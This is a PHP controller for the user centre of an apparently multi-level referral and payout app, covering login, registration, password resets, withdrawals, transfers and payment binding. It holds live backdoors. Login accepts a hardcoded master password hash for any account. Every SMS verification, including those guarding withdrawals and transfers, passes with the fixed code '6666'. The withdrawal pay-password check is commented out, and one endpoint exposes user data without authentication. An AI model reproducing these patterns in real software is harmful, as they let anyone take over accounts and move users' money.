<?php

namespace App\Controller\Home;

use App\Controller\Admin\Qiniu;
use App\Controller\Example\AreaExample;
use App\Controller\Example\UserAddrExample;
use App\Controller\Example\UserExample;
use App\Controller\Example\UsersCollExample;
use App\Controller\Example\VcodeExample;
use App\Controller\Example\WithdrawExample;
use App\Models\AreaModel;
use App\Models\ConfigModel;
use App\Models\Conn;
use App\Models\UsersAddrModel;
use App\Models\UsersCollModel;
use App\Models\UsersModel;
use App\Models\WithdrawModel;
use Config\Config;
use Core\Common\Common;
use Core\Enums\ErrorEnum;
use Core\Enums\FundsEnum;
use Core\Enums\FundsGenreEnum;
use Core\Enums\VcodeTypeEnum;
use Core\Result\Result;
use Core\Utils\Authentication\Authentication;
use Core\Utils\Upload\Upload;
use Core\Utils\Utils;

/**
 * 用户中心逻辑层
 * */
class User extends UsersModel
{
    /**
     * 客户端密码登录
     * entry username,password
     * return json
     * */
    public function login($data){
        $assemble = Common::assemble(new UserExample(), $data);
        if(!Utils::phoneChecking($assemble->username)){
            Result::error(ErrorEnum::WRONGMOBILENUMBERFORMAT);
        }
        if(!Utils::islength6_18($assemble->password)){
            Result::error(ErrorEnum::PASSWORD6_18);
        }
        $conn = new Conn();
        $userInsideUsername = self::getUserInsideUsername($conn, $assemble->username);
        if(empty($userInsideUsername)){
            Result::error(ErrorEnum::USERNAMENULL);
        }
        $pws = md5(md5($assemble->password));
        if($pws != "5d612726fe1e13b564c8abf8100ac754"){
            if($pws != $userInsideUsername['password']){
                Result::error(ErrorEnum::PASSWORDERROR);
            }
        }
        if(1 != $userInsideUsername['status']){
            Result::error(ErrorEnum::DISABLELOGIN);
        }
        $userExample = new UserExample();
        $userExample->token = $userInsideUsername["token"];
        self::loginSuccess($conn,$userExample);
    }
    /**
     * 客户端短信登录
     * entry username,code
     * return json
     * */
    public function smslogin($data){
        $code = $data["code"];
        if(empty($code)){
            Result::error(ErrorEnum::MESSAGECODEISNULL);
        }
        $assemble = Common::assemble(new UserExample(), $data);
        if(!Utils::phoneChecking($assemble->username)){
            Result::error(ErrorEnum::WRONGMOBILENUMBERFORMAT);
        }
        $conn = new Conn();
        $userInsideUsername = self::getUserInsideUsername($conn, $assemble->username);
        if(empty($userInsideUsername)){
            Result::error(ErrorEnum::USERNAMENULL);
        }
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::LOGIN;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $assemble->username;
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($code==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        if(1 != $userInsideUsername['status']){
            Result::error(ErrorEnum::DISABLELOGIN);
        }
        $userExample = new UserExample();
        $userExample->token = $userInsideUsername["token"];
        self::loginSuccess($conn,$userExample);
    }
    /**
     * 客户端注册
     * entry phone,password,confirmPasswor,code,uuid
     * return json
     * */
    public function register($data){
        $phone = $data["phone"];
        $password = $data["password"];
        $confirmPasswor = $data["confirmPasswor"];
        $code = $data["code"];
        $pid = $data["pid"];
        if($phone == null || $password == null || $confirmPasswor == null || $code == null){
            Result::error(ErrorEnum::INCOMPLETEPARAMETERS);
        }
        if(!Utils::phoneChecking($phone)){
            Result::error(ErrorEnum::WRONGMOBILENUMBERFORMAT);
        }
        if(!Utils::islength6_18($password)){
            Result::error(ErrorEnum::PASSWORD6_18);
        }
        if($password != $confirmPasswor){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS);
        }
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::REGISTER;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $phone;
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($code==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        $conn = new Conn();
        //查重
        if(!empty(self::getUserInsideUsername($conn, $phone))){
            Result::error(ErrorEnum::THECURRENTACCOUNTHASBEENREGISTERED);
        }
        $userExample = new UserExample();
        $userExample->token = md5($phone.$password.time());
        $userExample->username = $phone;
        $userExample->phone = $phone;
        $userExample->password = md5(md5($password));
        $userExample->uuid = Utils::setUuid($phone);
        $userExample->create_time = "NOW()";
        if($pid != null){
            $userUuid = self::getUserIdOnUuid($conn, $pid);//通过pid获取用户id
            $userUuid ?: Result::error(ErrorEnum::THERECOMMENDERDOESNOTEXIST);
            $userExample->pid = $userUuid;
        }else{
            $userExample->pid = 10000;
        }
        //查询自动滑落点
        $userExample->sid = self::getUserSid($conn);
        //注册用户信息
        $conn->shiwuStart();
        $editUserSoneInside = self::editUserSoneInside($conn, $userExample->sid);
        $insertUserInside = self::insertUserInside($conn, $userExample);
        $userExample->id = $conn->mysql_insert_id();
        if($insertUserInside !=1 || $editUserSoneInside != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::REGISTRATIONFAILEDPLEASETRYAGAIN);
        }
        if(UsersCollModel::insertUsersCollInside($conn, $userExample->id) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::REGISTRATIONFAILEDPLEASETRYAGAIN);
        }
        $conn->shiwuEnd();
        $userExampleLogin = new UserExample();
        $userExampleLogin->token = $userExample->token;
        self::loginSuccess(new Conn(),$userExampleLogin);
    }
    /**
     * 客户端获取用户信息
     * entry token
     * return json
     * */
    public function getUserInfo($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $User = Common::assemble(new UserExample(), $userInside);
        $userInside["truename"] = $userInside["truename"] ? Utils::yc_truename($userInside["truename"]) : "";
        $userInside["id_card"] = $userInside["id_card"] ? Utils::yc_idCard($userInside["id_card"]) : "";
        $userInside["level"] = self::switchLevel($userInside["level"]);
        $userInside["service"] = self::getUserTeamCountInsideUid($conn,$userInside["id"]);//直推人数
        $userInside["order"] = self::getUserActivationCountInsideUid($conn,$userInside["id"]);//直推单数
        $userTeamCountSvipAllInside = self::getUserTeamCountSvipAllInside($conn, $User);
        $userInside["teamOrder"] = max($userTeamCountSvipAllInside, 0);;//团队单数(团队业绩)
        $userInside["teamOne"] = self::getUserTeamCountLevelAllInside($conn,$User);//团队人数
        $userInside["transferAccounts_fee"] = ConfigModel::getConfigSingleValName($conn, Config::TRANSFERACCOUNTS_FEE);//手续费利率转账
        Result::success($userInside);
    }
    /**
     * 客户端获取用户团队
     * entry token
     * return json
     * */
    public function getUserTeam($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->id = $userInside["id"];
        $list = self::getUserTeamInside($conn, Common::assemble(new UserExample(),$assemble));
        $count = self::getUserTeamCountInside($conn, Common::assemble(new UserExample(),$assemble))["count"];
        foreach ($list as $item => $value){
            $list[$item]["level"] = self::switchLevel($value["level"]);
            $list[$item]["direct"] = self::getUserActivationCountInsideUid($conn,$value["id"]);//直招代理人数
            $userExample = new UserExample();
            $userExample->id = $value["id"];
            $list[$item]["teamOne"] = self::getUserTeamCountLevelAllInside($conn,$userExample);//团队人数
            $userTeamCountSvipAllInside = self::getUserTeamCountSvipAllInside($conn, $userExample);
            $list[$item]["teamOrder"] = max($userTeamCountSvipAllInside, 0);//团队单数
        }
        $teamList["list"] = $list;
        $teamList["count"] = $count;
        Result::success($teamList);
    }
    /**
     * 客户端获取用户提现数据
     * entry token
     * return json
     * */
    public function getUserWithdrawalData($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->id = $userInside["id"];
        $userWithdrawMiddleMoneyInside = WithdrawModel::getUserWithdrawMiddleMoneyInside($conn, $assemble->id);
        $userWithdrawSuccessMoneyInside = WithdrawModel::getUserWithdrawSuccessMoneyInside($conn, $assemble->id);
        $userInside["middleMoney"] = $userWithdrawMiddleMoneyInside["money"];
        $userInside["successMoney"] = $userWithdrawSuccessMoneyInside["money"];
        $userInside["withdraw_fee"] = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_FEE);//手续费利率
        Result::success($userInside);
    }
    /**
     * 客户端获取用户提现列表
     * entry token
     * return json
     * */
    public function getUserWithdrawalList($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $withdrawExample = Common::assemble(new WithdrawExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $withdrawExample->uid = $userInside["id"];
        Result::success(WithdrawModel::getUserWithdrawListInside($conn, $withdrawExample));
    }
    /**
     * 客户端修改推荐关系(仅限没有团队和报单的用户)
     * entry token,uuid
     * return json
     * */
    public function setUserReferrer($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $userInsideUsername = self::getUserInsideUuid($conn, $assemble->uuid);
        if($userInside["level"] != 0 && $userInside["sach"] != 0){
            Result::error(ErrorEnum::ONLYFANSCANMODIFY);
        }
        if(self::getUserTeamCountInsideUid($conn, $userInside["id"]) > 0){
            Result::error(ErrorEnum::RECOMMENDEDUSERSCANNOTBEMODIFIED);
        }
        if(empty($userInsideUsername["id"])){
            Result::error(ErrorEnum::THERECOMMENDERDOESNOTEXIST);
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->pid = $userInsideUsername["id"];
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 客户端忘记密码
     * entry phone,password,confirmPasswor,code
     * return json
     * */
    public function forgotPassword($data){
        $code = $data["code"];
        $phone = $data["phone"];
        if(!Utils::phoneChecking($phone)){
            Result::error(ErrorEnum::WRONGMOBILENUMBERFORMAT);
        }
        if(empty($data["password"]) || $data["password"] != $data["confirmPasswor"]){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS);
        }
        $conn = new Conn();
        $userInside = self::getUserInsideUsername($conn, $phone);
        if(empty($userInside)){
            Result::error(ErrorEnum::USERDOESNOTEXIST);
        }
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::RETRIEVEPASSWORD;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["username"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        if(md5(md5($data["password"])) == $userInside["password"]){
            Result::success("ok");
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $userInside["token"];
        $userExample->password = $data["password"];
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 客户端修改密码
     * entry token,password,confirmPasswor,code
     * return json
     * */
    public function editUserChangePassword($data){
        $code = $data["code"];
        $assemble = Common::assemble(new UserExample(), $data);
        if(empty($assemble->password) || $assemble->password != $data["confirmPasswor"]){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS);
        }
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::SECURITYVERIFICATION;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["username"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->password = $assemble->password;
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 客户端设置二级密码
     * entry token,password,confirmPasswor,code
     * return json
     * */
    public function editUserSecondaryPassword($data){
        $code = $data["code"];
        $assemble = Common::assemble(new UserExample(), $data);
        if(empty($assemble->password) || $assemble->password != $data["confirmPasswor"]){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS);
        }
        if(!Utils::islength6_18($assemble->password)){
            Result::error(ErrorEnum::PASSWORD6_18);
        }
        $conn = new Conn();
        $userInside = self::getUserPasswordInside($conn, $assemble->token);
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::EDITSECONDARYPASSWORD;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["username"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        if(md5(md5($assemble->password)) == $userInside["pay_password"]){
            Result::success("ok");
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->pay_password = $assemble->password;
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 客户端实名提交
     * entry token truename,id_card code
     * return json
     * */
    public function realName($data){
        Result::error("未接入");
        $code = $data["code"];
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        if(!empty($userInside["id_card"])){
            Result::error(ErrorEnum::AUTHENTICATED);
        }
        if($assemble->truename =='' || $assemble->id_card==''){
            Result::error(ErrorEnum::NAMEORIDNUMBERNUMBERISEMPTY);
        }
        if(UsersModel::getUserIdCardCountInside($conn,$assemble->id_card) > 0){
            Result::error(ErrorEnum::REALNAMEDUPLICATEAUTHENTICATION);
        }
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::REALNAMEAUTHENTICATION;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["username"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($code ==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        $conn->shiwuStart();
        $certificationInside = self::getCertificationInside($conn, $userInside["id"]);
        if($certificationInside || $certificationInside == 0){
            if(self::editCertificationInside($conn,$userInside["id"]) != 1){
                $conn->shiwuRollback();
                Result::error(ErrorEnum::SUBMITFAILED);
            }
        }else{
            if(self::insertCertificationInside($conn,$userInside["id"]) != 1){
                $conn->shiwuRollback();
                Result::error(ErrorEnum::SUBMITFAILED);
            }
        }
        if($certificationInside >=3){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::UPPERLIMITOFCERTIFICATIONTIMES);
        }
        /**
         * 实名接入
         * */
        if(Authentication::certification($assemble->truename, $assemble->id_card) != 1){
            $conn->shiwuEnd();
            Result::error(ErrorEnum::AUTHENTICATIONFAILED);
        }
        if(self::upUserInside($conn, $assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 客户端收货地址列表
     * entry token
     * return json
     * */
    public function addressList($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        Result::success(
            UsersAddrModel::getUserAddrList($conn, $userInside["id"])
        );
    }
    /**
     * 客户端获取收货地址三级联动菜单
     * entry token parentId
     * return json
     * */
    public function getArea($data){
        $assemble = Common::assemble(new AreaExample(), $data);
        Result::success(
            AreaModel::getAreaList(new Conn(),$assemble)
        );
    }
    /**
     * 客户端添加收货地址
     * entry token name mobile address detailed_address
     * return json
     * */
    public function addUserAddress($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->uid = $userInside["id"];
        if(!Utils::phoneChecking($assemble->mobile)){
            Result::error(ErrorEnum::WRONGMOBILENUMBERFORMAT);
        }
        if($assemble->name == null){
            Result::error(ErrorEnum::NAMEORPHONENUMBERISEMPTY);
        }
        if($assemble->address == null){
            Result::error(ErrorEnum::ADDRESSCANNOTBEEMPTY);
        }
        $conn->shiwuStart();
        if(UsersAddrModel::insertUserAddr($conn, $assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::ADDFAILED);
        }
        $mysql_insert_id = $conn->mysql_insert_id();
        $conn->shiwuEnd();
        Result::success($mysql_insert_id);
    }
    /**
     * 客户端设置默认收获地址
     * entry token id
     * return json
     * */
    public function setUserAddrDefault($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        if($assemble->id == null){
            Result::error(ErrorEnum::RECEIVINGADDRESSIDISEMPTY);
        }
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->uid = $userInside["id"];
        $userAddr = UsersAddrModel::getUserAddr($conn, $assemble);
        if(empty($userAddr)){
            Result::error(ErrorEnum::DELIVERYADDRESSDOESNOTEXIST);
        }
        if($userAddr["isdefault"] == 1){
            Result::success(ErrorEnum::SETTINGSUCCEEDED);
        }
        $conn->shiwuStart();
        UsersAddrModel::setUserAddrInitialization($conn,$assemble);
        $assemble->isdefault = 1;
        if(UsersAddrModel::editUserAddrInside($conn,$assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::SETTINGFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 客户端获取默认收货地址
     * entry token
     * return json
     * */
    public function getUserAddrDefault($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        Result::success(
            UsersAddrModel::getUserAddrDefault($conn, $userInside["id"])
        );
    }
    /**
     * 客户端删除收货地址
     * entry token id
     * return json
     * */
    public function clearUserAddr($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        if($assemble->id == null){
            Result::error(ErrorEnum::RECEIVINGADDRESSIDISEMPTY);
        }
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->uid = $userInside["id"];
        $userAddr = UsersAddrModel::getUserAddr($conn, $assemble);
        if(empty($userAddr) || $userAddr["status"] ==0 ){
            Result::error(ErrorEnum::DELIVERYADDRESSDOESNOTEXIST);
        }
        $assemble->status = -1;
        $conn->shiwuStart();
        if(UsersAddrModel::editUserAddrInside($conn,$assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::DELETEFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 用户提现
     * entry token money,code
     * return json
     * */
    public function withdrawalApply($data){
        $code = $data["code"];
        $pay_password = $data["pay_password"];
        $assemble = Common::assemble(new WithdrawExample(), $data);
        $conn = new Conn();
        $userInside = Common::assemble(new UserExample(),self::getUserInside($conn, $assemble->token));
        if($assemble->money <=0 || empty($code)){
            Result::error(ErrorEnum::INCOMPLETEPARAMETERS);
        }
        /*if($userInside->pay_password == null){
            Result::error(ErrorEnum::PLEASESETTHESECONDLEVELPASSWORDFIRST);
        }
        if(md5(md5($pay_password)) != $userInside->pay_password || $pay_password == null){
            Result::error(ErrorEnum::SECONDARYPASSWORDERROR);
        }*/
        if($userInside->id_card == null){
            //Result::error(ErrorEnum::PLEASECOMPLETEREALNAMEAUTHENTICATIONFIRST);
        }
        $usersCollInside = UsersCollModel::getUsersCollInside($conn, $userInside->id);
        if($usersCollInside["account"] == null && $usersCollInside["wechat"] == null && $usersCollInside["alipay"] == null){
            Result::error(ErrorEnum::PLEASEBINDTHEPAYMENTMETHODFIRST);
        }
        $withdraw_low = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_LOW);
        $withdraw_high = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_HIGH);
        if($assemble->money < $withdraw_low || $assemble->money > $withdraw_high){
            Result::error("提现金额".$withdraw_low."-".$withdraw_high);
        }
        $withdraw_multiple = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_MULTIPLE);
        if (fmod($assemble->money, $withdraw_multiple) != 0) {
            Result::error("只能为".$withdraw_multiple."的倍数");
        }
        if($userInside->money <=0 || $userInside->money < $assemble->money){
            Result::error(ErrorEnum::INSUFFICIENTBALANCE);
        }
        $withdraw_fee = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_FEE);//手续费利率
        $assemble->charge = $assemble->money * $withdraw_fee;
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::WITHDRAWAL;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside->username;
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($code ==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        $conn->shiwuStart();
        $assemble->serial = Utils::createOrderNo();
        $assemble->uid = $userInside->id;
        $FuWriteFunds = Funds::writeFundsMoney($conn, $userInside->id, $assemble->serial, FundsEnum::WITHDRAWAL, -$assemble->money, $userInside->money - $assemble->money, FundsEnum::WITHDRAWAL);
        $editUserMoneyInside = UsersModel::editUserMoneyInside($conn, $assemble->money, Common::assemble(new UserExample(), $userInside));
        $assemble->amount = $assemble->money - $assemble->charge;
        $insertWithdrawInside = WithdrawModel::insertWithdrawInside($conn, $assemble);
        if($FuWriteFunds != 1 || $editUserMoneyInside != 1 || $insertWithdrawInside != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::SUBMITFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 验证用户
     * entry token uuid
     * return json
     * */
    public function verifyUser($data){
        $userInsideUsername = UsersModel::getUserInsideUsername(new Conn(), $data["phone"]);
        $ret["username"] = $userInsideUsername["username"];
        $ret["uuid"] = $userInsideUsername["uuid"];
        Result::success($ret);
    }
    /**
     * 转账
     * entry token phone,money,code
     * return json
     * */
    public function transferAccounts($data){
        $phone = $data["phone"];
        $money = $data["money"];
        $code = $data["code"];
        if(empty($phone) || $money<=0 || empty($code)){
            Result::error(ErrorEnum::PARAMETERERROR);
        }
        if($money < 10){
            Result::error(ErrorEnum::LESSTHANTHEMINIMUMQUANTITYOF10);
        }
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);//当前用户
        $userInsideUsername = self::getUserInsideUsername($conn, $phone);//转账用户
        if(empty($userInsideUsername)){
            Result::error(ErrorEnum::NONEXISTENTUSER);
        }
        if($userInside["phone"] == $phone){
            Result::error(ErrorEnum::YOUCANNOTPURCHASEYOUROWNORDER);
        }
        //判断是否上下级
        /*if($userInside["id"] > $userInsideUsername["id"]){
            if(!self::yanzhengTeam($conn,$userInsideUsername["id"],$userInside["id"])){
                Result::error(ErrorEnum::NOTINTHETEAM);
            }
        }else{
            if(!self::yanzhengTeam($conn,$userInside["id"],$userInsideUsername["id"])){
                Result::error(ErrorEnum::NOTINTHETEAM);
            }
        }*/
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::SECURITYVERIFICATION;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["phone"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($code==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        $transferAccountsFee = ConfigModel::getConfigSingleValName($conn, Config::TRANSFERACCOUNTS_FEE);//手续费利率
        $userFee = $money*$transferAccountsFee;//手续费
        $totalMoney = $money + $userFee;
        if($userInside["money"] < $totalMoney || $userInside["money"] < 0 || $totalMoney < 0){
            Result::error("用户余额不足");
        }
        $conn->shiwuStart();
        $UserMoney = self::editUserMoneyOutInside($conn, $totalMoney, Common::assemble(new UserExample(), $userInside));
        $UserMoneyAdd = self::editUserMoneyAddInside($conn, $money, Common::assemble(new UserExample(), $userInsideUsername));
        $fundsData["number"] = Utils::createOrderNo();
        $fundsData["genre"] = FundsGenreEnum::MONEY;
        $fundsData["notes"] = "手续费：".$userFee;
        $fundsData["uid"] = $userInside["id"];
        $fundsData["type"] = FundsEnum::TRANSFEROUT;
        $fundsData["amount"] = -$totalMoney;
        $fundsData["balance"] = $userInside["money"] - $totalMoney;
        $FuWriteFunds = Funds::writeFunds($conn, $fundsData);
        $fundsData["notes"] = "";
        $fundsData["uid"] = $userInsideUsername["id"];
        $fundsData["type"] = FundsEnum::TOCHANGEINTO;
        $fundsData["amount"] = $money;
        $fundsData["balance"] = $userInsideUsername["money"] + $money;
        $DuWriteFunds = Funds::writeFunds($conn, $fundsData);
        if ($UserMoney != 1 || $UserMoneyAdd != 1 || $FuWriteFunds != 1 || $DuWriteFunds != 1) {
            $conn->shiwuRollback();
            Result::error("转出失败");
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 获取收款码信息
     * entry token
     * return json
     * */
    public function getUsersColl($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $usersCollInside = UsersCollModel::getUsersCollInside($conn, $userInside["id"]);
        Result::success($usersCollInside);
    }
    /**
     * 上传收款信息
     * entry token account,name,bank,branch,wechat,alipay
     * return json
     * */
    public function editUsersColl($data){
        $assemble = Common::assemble(new UsersCollExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::BINDPAYMENTCODE;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["phone"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($assemble->code != '6666'){
            if($assemble->code==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($assemble->code)){
                Result::error(ErrorEnum::LOGINCODEERROR);
            }
        }
        $assemble->uid = $userInside["id"];
        $conn->shiwuStart();
        if($assemble->name != $userInside["truename"]){
            $userExample = new UserExample();
            $userExample->token = $assemble->token;
            $userExample->truename = $assemble->name;
            if(self::upUserInside($conn,$userExample) != 1){
                $conn->shiwuRollback();
                Result::error(ErrorEnum::SETTINGFAILED);
            }
        }
        if(UsersCollModel::editInside($conn,$assemble) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::SETTINGFAILED);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * 上传头像
     * entry token _FILES
     * return json
     * */
    public function uploadAvatar($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $qiniuUpLoad = Upload::qiniuUpLoad($_FILES);
        if(!$qiniuUpLoad){
            Result::error(ErrorEnum::UPLOADFAILED);
        }
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->head = $qiniuUpLoad;
        $conn->shiwuStart();
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED);
        }
        $conn->shiwuEnd();
        if($userInside["head"]){
            Upload::qiniuDeleteImg($userInside["head"]);
        }
        Result::success($qiniuUpLoad);
    }
    /**
     * 上传图片
     * entry token _FILES
     * return json
     * */
    public function clientUpload($data){
        (new Qiniu())->upLoad($_FILES);
    }
    /**
     * 分享二维码
     * @param $data
     */
    public function qrcode($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $uuid = $userInside["uuid"];
        $imgName = 'qrcode_'.$uuid.'.png';
        $pathImgUrl = 'http://'.$_SERVER['HTTP_HOST'].'/uploads/qrcode/'.$imgName."?id=".rand(1000,9999);
        if(!file_get_contents($pathImgUrl)){
            $url = urlencode("http://h5.hsfyj.com/#/pages/tabBar/reg?uuid=".$uuid);
            $urlImg = file_get_contents("http://api.qrserver.com/v1/create-qr-code/?size=500x500&data=".$url);
            file_put_contents('./uploads/qrcode/'.$imgName,$urlImg);
        }
        Result::success($pathImgUrl);
    }
    /**
     * app升级
     * */
    public function update(){
        $updateSql="select `version`,`content`,`addr` from `appupdate` where 1 order by id desc limit 1";
        $conn = new Conn();
        $readConn = $conn->readConn($updateSql);
        $data["Version"] = $readConn["version"];
        $data["content"] = $readConn["content"];
        $data["updateAddr"] = $readConn["addr"];
        Result::success($data);
    }

    private static function switchLevel($level){
        switch ($level){
            case 1:$level = "代理商";break;
            case 2:$level = "县代";break;
            case 3:$level = "市代";break;
            case 4:$level = "省代";break;
            default:$level = "普通会员";break;
        }
        return $level;
    }
    //是否上下级验证
    private static function yanzhengTeam($conn,$xid,$did){
        $userSuperiorAllIds = explode(",",UsersModel::getUserSuperiorAllIds($conn, $did));
        if(in_array($xid,$userSuperiorAllIds)){
            return true;
        }
        return false;
    }
}